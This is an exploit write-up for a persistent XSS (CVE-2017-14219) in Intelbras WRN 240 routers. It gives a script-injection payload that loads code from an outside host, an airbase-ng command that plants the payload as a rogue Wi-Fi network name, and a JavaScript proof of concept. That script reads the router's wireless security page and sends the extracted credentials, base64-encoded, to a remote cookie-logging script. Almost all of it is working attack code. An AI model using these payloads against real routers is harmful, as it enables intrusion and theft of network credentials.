# Exploit Title: XSS persistent on intelbras router with firmware WRN 250
# Date: 07/09/2017
# Exploit Author: Elber Tavares
# Vendor Homepage: http://intelbras.com.br/
# Version: Intelbras Wireless N 150Mbps - WRN 240
# Tested on: kali linux, windows 7, 8.1, 10
 
# CVE-2017-14219
 
For more info:
 
 
http://whiteboyz.xyz/xss-roteador-intelbras-wrn-240html
 
URL VULN: http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm
 
Payload: </script><script src='//elb.me'>
 
"elb.me contains the malicious code on index"
 
airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon
 
//requires an php script to get the logs
 
PoC:
 
var rawFile = new XMLHttpRequest();
rawFile.onreadystatechange = function() {
       alert(rawFile.responseText);
       var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0];
       //seleiciona a parte da pA!gina com as credenciais
       new Image().src="https://elb.me/cookie.php?ck="+btoa(base64);
       //envia as credenciais encodadas em base64
};
rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true);
//pega a source da pA!gina /popupSiteSurveyRpm.htm
rawFile.send();